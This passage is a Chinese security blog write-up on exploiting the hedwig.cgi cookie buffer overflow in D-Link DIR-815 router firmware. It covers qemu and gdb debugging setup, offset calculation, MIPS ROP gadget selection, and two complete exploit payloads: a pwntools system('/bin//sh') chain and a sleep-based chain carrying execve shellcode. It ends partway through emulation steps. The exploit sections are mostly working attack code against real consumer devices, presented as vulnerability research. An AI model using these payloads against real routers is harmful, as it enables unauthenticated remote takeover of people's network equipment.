D-Link DIR815路由器缓冲区溢出漏洞再分析
2020-06-04 10:53:22 Author: xz.aliyun.com(查看原文) 阅读量:1207 收藏

[TOC]

之前跟着《揭秘家用路由器0day漏洞挖掘技术》调试分析过该漏洞,主要是从qemu用户模式进行分析调试,因为太菜了并没有getshell,在参考了其他师傅的分析文章和帖子后,这次分析增加了qemu系统模式调试,Firmadyne仿真测试以及实体机测试,虽然这次的用户模式还是没能getshell(发这个帖子还是希望有经验的师傅帮忙分析下问题所在),但是其他三种方式都能成功。

Buffer overflow on "hedwig.cgi"
Another buffer overflow affects the "hedwig.cgi" CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.

从漏洞公告中可以看出,该漏洞存在于名为"hedwig.cgi"的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。

  • ubuntu16.04 x64虚拟机:安装了常用的pwn环境,binwalk等工具用于路由器固件调试分析
  • IDA6.8:静态分析同时安装mipsrop插件寻找rop链,与gdb进行动态调试
  • Ghidra:反汇编反编译mips架构程序,目前只用于静态分析
  • qemu2.5:利用qemu的用户和系统模式运行固件
  • gdbserver:利用大佬已经编译好的gdbserver,也可以自己编译生成
  • Firmadyne:全系统仿真工具,模拟运行路由器固件,本质还是基于qemu的系统模式
  • D-Link DIR-815 v1.01路由器实体机:用于测试分析结果
  • 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

binwalk -Me解压

该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'查找文件,并ls -l ./htdocs/web/hedwig.cgi发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。

由之前的漏洞介绍可以知道HTTP_COOKIE过长导致漏洞,分别用IDA和ghidra打开cgibin这个文件,在string窗口中进行搜索HTTP_COOKIE

可以找到有一个函数,就是sess_get_uid,我之前有写帖子分析一下这个函数,就是提取HTTP_COOKIE里面的uid=之后的部分。交叉引用一下,找到了hedwigcgi_main函数。

利用Ghidra反汇编hedwigcgi_main函数,可以定位到其中的sprintf函数引起了栈溢出。hedwigcgi_main函数通过sess_get_uid()获取到HTTP_COOKIEuid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。

但是继续往后看该函数中后面还有一个sprintf函数,第四个参数同样是HTTP_COOKIEuid=后面的内容,这一块按道理来说也可以导致栈溢出。而且如果可以执行该sprintf函数则能覆盖之前sprintf函数栈上的内容。

在《揭秘家用路由器0day漏洞挖掘技术》一书中写到,如果在文件系统中手工创建/var/tmp文件夹,就能够到达第二个sprintf函数。我对比了下有无/var/tmp文件夹的返回结果:

/var/tmp,返回unable to open temp file。

/var/tmp,返回no xml data。

想着往里面写个/temp.xml文件并添加内容就可以了吧,结果发现还是返回no xml data。因为fopen打开该文件的方式是'w',创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。所以只要执行了这条指令文件内容就会被清空,返回值一定是no xml data,所以利用qemu用户模式这样调试的话,是到不了第二个sprintf函数。

所以漏洞点是第一个sprintf函数,挺多帖子也是分析得到第一个sprintf函数是漏洞点。其实是第一个还是第二个对于用户模式下的调试并没有多大关系,就是偏移不一样罢了,构造rop链方法都是一样的。但是对于真实设备而言,就需要找到真正的漏洞点在哪。

3-1漏洞重新定位

爆肝一晚,参考一个大佬的文章,发现了为什么到达不了第二个sprintf的原因。

还需要POST数据包中包含”uid=……”,否则运行不了下面的代码,

.text:00409AB0                 la      $t9, sobj_strdup
.text:00409AB4                 lw      $a0, 4($s0)
.text:00409AB8                 jalr    $t9 ; sobj_strdup
.text:00409ABC                 nop
.text:00409AC0                 lw      $ra, 0x20+var_4($sp)
.text:00409AC4                 lui     $v1, 0x43  # 'C'
.text:00409AC8                 lw      $gp, 0x20+var_10($sp)
.text:00409ACC                 lw      $s0, 0x20+var_8($sp)
.text:00409AD0                 sw      $v0, haystack
.text:00409AD4                 jr      $ra
.text:00409AD8                 addiu   $sp, 0x20

从而无法申请一个新的堆空间,这样haystack中值将为0,在运行完第一个sprinf之后会进入loc_4096D4,如果haystack为0将则不会进入loc_4096F0分支,进而跳转不了第二个sprintf()。

.text:004096D4 loc_4096D4:                              # CODE XREF: hedwigcgi_main+240j
.text:004096D4                 lw      $v0, haystack
.text:004096DC                 nop
.text:004096E0                 bnez    $v0, loc_4096F0
.text:004096E4                 lui     $v0, 0x42  # 'B'
.text:004096E8                 b       loc_409A64
.text:004096EC                 addiu   $a1, $v0, (aNoXmlData_ - 0x420000)  # "no xml data."

如何使POST数据包中包含”uid=……”,看了大佬们的文章还有《0day》那本书中的测试脚本发现,POST具体数据可以通过类似输入流传入 :echo "uid=aaa"| /htdocs/web/hedwig.cgi。然后前提也是需要手工创建'/var/tmp'文件夹。

4.1-漏洞分析

hedwigcgi_main()在调用get_sess_uid函数前需要设置环境变量REQUEST_METHOD为POST。

cgi程序通过getenv的方式获取HTTP数据包中的数据,整个流程应该为:

主Web程序监听端口->传送HTTP数据包->HTTP报文中headers等数据通过环境变量的方式传给cgi处理程序->cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据

漏洞点sprintf函数

sprintf(栈上的内容,"%s/%s/postxml","/runtime/session",uid的内容)uid的内容是由用户控制的,却没有长度限制,而栈空间有限,hedwigcgi_main同时是一个非叶子函数,那么ra一定存在栈上,我们接下来要做的就是覆盖栈空间内的saved ra达到控制程序流程的目的。

4.2-漏洞利用

整个漏洞利用过程是

  • 劫持PC,通过调试确定缓冲区大小,定位并确定控制偏移
  • 确定攻击路径,构造ROP链
  • 编写exp,getshell

4.2.1-劫持PC,确定偏移

利用qemu和IDA进行动态调试,用的是(IDA6.8,qemu2.5)

调试脚本test.sh,其中需要sudo chroot 到文件系统下,然后利用qemu-mipsel-static用户模式进行调试,-E是对应环境变量的参数。-g 指定调试端口,“2> /dev/null” 代表忽略掉错误提示信息。

#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu

在这之前需要利用patternLocOffset.py生成test文件,包含特定格式的2000个字符串。

python patternLocOffset.py -c -l 2000 -f test

使用IDA调试发现运行到hedwigcgi_main()返回时ra寄存器中的值为0x38694237

python patternLocOffset.py -s 0x38694237 -l 2000确定缓冲区距离ra的距离为1043。

可以通过修改test.sh中的test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")进一步确定偏移为1043。

以上是触发第一个sprintf()的偏移。

4.2.1.1-重新确定偏移

更改test.sh,在脚本中加入echo "uid=xxx"。

#!/bin/bash
#sudo ./test.sh  "uid=1234"  `python -c "print 'uid=' + open('content','r').read()"`

INPUT="$1"
COOKIE="$2"
PORT="23957"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu

echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1"  -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu

执行命令

sudo ./test.sh  "uid=1234"  `python -c "print 'uid=' + open('content','r').read()"`

调试之后发现确实能够触发第二个sprintf()。

并且覆盖了ra=68423668。

计算得到偏移为1009。

4.2.2-选择攻击路径构造ROP链

4.2.2.1-通过system函数getshell

主要目的是调用system('/bin/sh')来getshell,system函数在libc.so中找,参数'/bin/sh'首先放入栈中,然后利用gadget将栈上的'/bin/sh'传入a0寄存器,再调用system函数即可。

1.定位system函数地址

首先需要先找到调用了哪个动态链接库libc.so,然后在libc.so中定位system函数。

通过以下过程:

gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :23957
b *0x409A54 #hedwigcgi_main()函数返回jr ra处
c
vmmap

为了以后不用每次都输入固定的指令可以编写一个dbgscript

set architecture mips
set endian little
target remote :23957
b *0x409a54

gdb-multiarch调试的时候执行gdb-multiarch htdocs/cgibin -x dbgscript,-x是指定要执行的命令文件。

得到libuClibc-0.9.30.1.so的基地址为0x76738000。

找到libuClibc-0.9.30.1.so用IDA打开,system函数在0x53200处。

这样就得到了system函数的真实地址0x76738000+0x53200=0x7678b200。

2.绕过坏字符\x00构造rop链

因为system函数的最低位为\x00,在构造HTTP_COOKIE的时候\x00会被sprintf截断,其实还到不了sprintf函数,前面的sess_get_uid函数只获取uid=之后\x00字符之前的字符串,进而导致缓冲区溢出失败。所以构造shellcode时需要对system函数的真实地址-1:0x7678b200-1=0x7678b1ff,再寻找gadget将其加1即可。

有了system函数,接下来考虑如何将system函数的第一个参数从栈中拷贝到寄存器a0中,在libuClibc-0.9.30.1.so利用mipsrop插件中的mipsrop.stackfinder()命令查找能将栈中数据放入寄存器的gadget。在0x159cc处发现可将当前栈$sp+0x10处的值存入寄存器s5并跳转至s0。并且在跳转之前将$s5的内容给到$a0,$a0=$(sp+0x10),这样system函数的第一个参数就能从栈中得到了。

继续在libuClibc-0.9.30.1.so中寻找能够将system函数地址+1的gadget,使用mipsrop插件,mipsrop.find("addiu .*,1")得到31个gadget,找到0x00045988处,这个gadget的作用是将寄存器s0中的值加一,并跳转至s1寄存器中,所以需要将system函数地址减一之后放入s0寄存器中。并将获取第一个参数a0的gadget0x159cc放入s1寄存器中。

到这里我们需要的gadget就找好,由IDA中的汇编代码可以看出我们可以控制数据覆盖ra,fp,s7~s0寄存器。

所以可以这样构造payload,结构大致如下:

这里参考下H4lo师傅的整个流程图:

3.构造的exp如下:

#!/usr/bin/python2
from pwn import *

context.endian = "little"
context.arch = "mips"
base_addr = 0x76738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc

padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += 'A' * 4                        # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += '/bin//sh'

f = open("exploit",'wb+')
f.write(padding)
f.close()

4.测试exp

执行命令:

sudo ./test.sh  'uid=1234' `python -c "print 'uid=' + open('exploit','r').read()"`

使用gdb-multiarch联调发现,确实能够跳转到gadget1处(0x76738000+0x45988=0x7677d988),将s0处的system-1地址加一。

之后顺利进入gadget1处(0x76738000+0x159cc=0x7674d9cc)处,将栈上内容(sp+0x10)先加载到s5,并在跳转s0前将s5中内容传给a0。

进入system处,a0参数为/bin//sh。

继续往下执行,发现执行完system函数返回时被中断了,因为当前指令是从(fp+0x10)处取一个字节给$gp,而当前$fp的内容为0x0空指针,(fp+0x10处)肯定无法访问。

但是在整个rop链运行过程中并没有出现给$fp赋值的操作,所以这块为什么$fp会变成0,变成空指针。这是一个问题,需要解决,应该是还是构造的rop链执行system函数的过程中出现了问题。

4.2.2.2-调用sleep(1)函数

接下来考虑利用另一种方式通过调用sleep(1)函数来getshell,至于为什么利用sleep(1)函数呢,参考这篇文章,里面有讲到一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。

最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。

整个ROP的调用流程参考H4lo师傅的图。

1.ROP Gadget 1

利用mipsrop.find("li $a0,1")寻找到0x57E50处,并且返回时跳转至s1寄存器中地址。

可以将ra处覆盖为ra=gadget1=0x57E50+libc_base。之后寻找第二个gadget2将其放入s1,这里不能直接将sleep函数放入s1中,因为sleep函数运行完jr $ra时,我们控制不了,所以接下来应该是寻找能够控制$ra的gadget2.

2.ROP Gadget 2

利用mipsrop插件中的mipsrop.tail()该函数作用是Prints a lits of all tail call gadgets (useful for function calls).打印出所有函数尾部调用的gadget,这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。

选择0x3B8A8作为gadget2。

该gadget的作用是将栈上(sp+0x24)处的内容给到寄存器ra,然后再跳转至s2寄存器中,所以s2寄存器就可以放我们需要的sleep函数的地址。这样的话s1=gadget2=0x3B8A8+libc_bases2 = sleep+libc_base

sleep函数在libuClibc-0.9.30.1.so的偏移为0x56BD0。

3.ROP Gadget 3

执行完sleep函数之后需要控制程序执行栈上shellcode,这里需要用到mipsrop插件的mipsrop.stackfinder(),将栈上的shellcode地址存储进寄存器中。

找到0x14F28处的gadget3,所以$(sp+0x24)=gadget3作用是将sp+0x18处的值赋给s1,之后跳转到s4寄存器中的地址。

所以接下来我们需要的gadget4是'move $t9,$s1',跳转到是s1也就是我们的shellcode。

4.ROP Gadget 4

利用mipsrop.find("move $t9,$s1")找到一下gadget。

这里选择0x1DD08作为gadget4,s4=gadget4=0x1DD08+libc_base。因为其他的gadget可能导致最后出现坏字符,比如我试了0xBB44,结果真实地址为0xBB44+0x76738000=0x76743b44,然而3b在sess_get_uid的时候就被截断了,所以导致rop没有构造成功。

到这里所有的gadget都找齐了,接下来开始构造exp。

5.构造exp

整个payload是这样的:

这里顺便提下构造exp时有可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。

libc_base = 0x76738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08

# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode

调试结果显示能够进入到Shellcode去执行。

但是之后一直出不去,获取不到shell。

所以到目前为止,利用qemu用户模式还没有成功获取shell!!!

我们这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin可以知道/sbin/httpd应该是用于监听web端口的http服务,同时查看/htdocs/web文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。

5.1-环境配置

find ./ -name '*http*'找到web配置文件httpcfg.php。

./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php
./usr/sbin/httpc
./sbin/httpd

查看httpcf.php

Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html   { html htm }
        text/xml    { xml }
        text/plain  { txt }
        image/gif   { gif }
        image/jpeg  { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI         { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}

<?
include "/htdocs/phplib/phyinf.php";

function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
    echo
        "Server".                                   "\n".
        "{".                                        "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                       "\n".
        "   Interface ".$ifname.                    "\n".
        "   Address ".$ipaddr.                  "\n".
        "   Port ".$port.                           "\n".
        "   Virtual".                               "\n".
        "   {".                                     "\n".
        "       AnyHost".                           "\n".
        "       Control".                           "\n".
        "       {".                                 "\n".
        "           Alias /".                       "\n".
        "           Location /htdocs/web".          "\n".
        "           IndexNames { index.php }".      "\n";
    if ($uid=="LAN-1"||$uid=="WAN-1")   echo
        "           External".                      "\n".
        "           {".                             "\n".
        "               /usr/sbin/phpcgi { txt }".  "\n".
        "           }".                             "\n";
    if ($widget > 0)    echo
        "           External".                      "\n".
        "           {".                             "\n".
        "               /usr/sbin/phpcgi { router_info.xml }"."\n".
        "               /usr/sbin/phpcgi { post_login.xml }"."\n".
        "           }".                             "\n";   
    echo
        "       }".                                 "\n";
    if ($smart404 != "")
    {
        echo
        '       Control'.                           '\n'.
        '       {'.                                 '\n'.
        '           Alias /smart404'.               '\n'.
        '           Location /htdocs/smart404'.     '\n'.
        '       }'.                                 '\n';
    }
    if ($hnap > 0)
    {
        echo
        "       Control".                           "\n".
        "       {".                                 "\n".
        "           Alias /HNAP1".                  "\n".
        "           Location /htdocs/HNAP1".        "\n".
        "           External".                      "\n".
        "           {".                             "\n".
        "               /usr/sbin/hnap { hnap }".   "\n".
        "           }".                             "\n".
        "           IndexNames { index.hnap }".     "\n".
        "       }".                                 "\n";
    }
    echo
        "   }".                                     "\n".
        "}".                                        "\n";
}

function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
    if ($af=="inet6") return;
    echo
        "Server".                                   "\n".
        "{".                                        "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                           "\n".
        "   Interface ".$ifname.                    "\n".
        "   Port 1900".                             "\n".
        "   Address 239.255.255.250".               "\n".
        "   Datagrams On".                          "\n".
        "   Virtual".                               "\n".
        "   {".                                     "\n".
        "       AnyHost".                           "\n".
        "       Control".                           "\n".
        "       {".                                 "\n".
        "           Alias /".                       "\n".
        "           Location /htdocs/upnp/docs/".$uid."\n".
        "           External".                      "\n".
        "           {".                             "\n".
        "               /htdocs/upnp/ssdpcgi { * }"."\n".
        "           }".                             "\n".
        "       }".                                 "\n".
        "   }".                                     "\n".
        "}".                                        "\n".
        "\n";
}

function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
    if ($af=="inet6") return;
    echo
        "Server".                                   "\n".
        "{".                                        "\n".
        "   ServerName \"".$sname."\"".             "\n".
        "   ServerId \"".$uid."\"".                 "\n".
        "   Family ".$af.                           "\n".
        "   Interface ".$ifname.                    "\n".
        "   Address ".$ipaddr.                  "\n".
        "   Port ".$port.                           "\n".
        "   Virtual".                               "\n".
        "   {".                                     "\n".
        "       AnyHost".                           "\n".
        "       Control".                           "\n".
        "       {".                                 "\n".
        "           Alias /".                       "\n".
        "           Location /htdocs/upnp/docs/".$uid."\n".
        "       }".                                 "\n".
        "   }".                                     "\n".
        "}".                                        "\n".
        "\n";
}

foreach("/runtime/services/http/server")
{
    $model  = query("/runtime/device/modelname");
    $ver    = query("/runtime/device/firmwareversion");
    $smart404 = query("/runtime/smart404");
    $sname  = "Linux, HTTP/1.1, ".$model." Ver ".$ver;  /* HTTP server name */
    $suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver;  /* UPnP server name */
    $mode   = query("mode");
    $inf    = query("inf");
    $ifname = query("ifname");
    $ipaddr = query("ipaddr");
    $port   = query("port");
    $hnap   = query("hnap");
    $widget = query("widget");
    $af     = query("af");


    if ($af!="" && $ifname!="")
    {
        if      ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
        else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
        else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
    }
}

?>

可以了解到该php用于生成配置文件,由于我们只需要其中的http服务,可以按照该配置文件改写我们所需的conf。

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}


Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0 #对应qemu虚拟机的网卡
    Address 192.168.79.143 #对于qemu虚拟机IP
    Port "1234" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

接下来利用qemu系统模式仿真路由器的运行环境,具体的配置过程在文章路由器漏洞挖掘环境搭建的qemu网络配置中有提到。

利用下面命令启动,接下来的实验是一次性实验,因为会覆盖qemu虚拟机原本文件系统中的/etc等文件夹从而损坏原有配置,所以无法第二次启动。

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

测试能ping通的情况下,将文件系统利用scp命令拷贝到mipsel虚拟机中。

sudo scp -r squashfs-root [email protected]:/root/

之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库,以及conf配置文件中提到的/usr/sbin/phpcgi/usr/sbin/hnap

copy.sh,需要进入squashfs-root目录使用,脚本最后启动了http服务。

#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

之后可以在浏览器访问conf文件中配置的192.168.79.143:1234/hedwig.cgi

或者在宿主机中使用以下命令:其中-v显示详细信息,-X指定什么指令,-H 自定义头信息传递给服务器,-b 指定cookie字符串。

#curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b  "uid=zh"
*   Trying 192.168.79.143...
* Connected to 192.168.79.143 (192.168.79.143) port 1234 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.79.143:1234
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=zh
> Content-Length: 8
> 
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1, 
< Date: Sun, 24 May 2020 01:00:46 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
< 
* Connection #0 to host 192.168.79.143 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>%

然后在mips虚拟机查看log文件:

root@debian-mipsel:~/squashfs-root# cat /log
Sun May 24 00:58:11 2020 [1109] *** Mathopd/1.6b9 starting
Sun May 24 00:58:20 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/]
Sun May 24 00:58:43 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/hedwig.cgi]
Sun May 24 00:58:43 2020 [1109] child process 1111 exited with status 255
Sun May 24 00:59:43 2020 [1109] script timeout to 192.168.79.145[52472]
Sun May 24 01:00:46 2020 [1109] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Sun May 24 01:00:46 2020 [1109] child process 1112 exited with status 255

到这里可以看到我们需要的web服务器以及启动了。

5.2-gdbbserver调试

接下来尝试调试/htdocs/web/hedwig.cgi文件

root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi 
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no REQUEST</message></hedwig>root@debian-mipsel:~/squashfs-root#

返回no REQUEST,查看IDA静态反汇编得知没有指定环境变量REQUEST_METHOD的值。所以想要触发漏洞进行调试的话,还是需要通过export 设置相关环境变量。

root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi 
HTTP/1.1 200 OK
Content-Type: text/xml
#之前分析过因为没有post数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:~/squashfs-root#

使用echo 'uid=1234'| /htdocs/web/hedwig.cgi运行成功。

root@debian-mipsel:~/squashfs-root# echo 'uid=1234'| /htdocs/web/hedwig.cgi 
root@debian-mipsel:~/squashfs-root#

接下来动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化。

echo 0 > /proc/sys/kernel/randomize_va_space

可以编写以下脚本进行动态调试

debug.sh,gdbsever 192.168.79.145是宿主机IP,6666是qemu监听端口。

#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi

宿主机gdb调试

gdb-multiarch htdocs/cgibin
set architecture mips
target remote 192.168.79.143:6666 #对应qemu地址和端口
c

得到溢出地址是0x68423668,利用脚本计算偏移为1009

#./patternLocOffset.py -s 0x68423668 -l 2000 
[*] Create pattern string contains 2000 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0007 s

接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。

利用/htdocs/web/hedwig.cgi & cat /proc/pid/maps ,a&b 先执行a,在执行b,无论a成功与否都会执行b。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。

root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"

root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[10] 1052
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[11] 1054
cat: /proc/pid/maps: No such file or directory
[10]+  Stopped                 /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/1056/maps 
[12] 1056
00400000-0041c000 r-xp 00000000 08:01 32694      /htdocs/cgibin
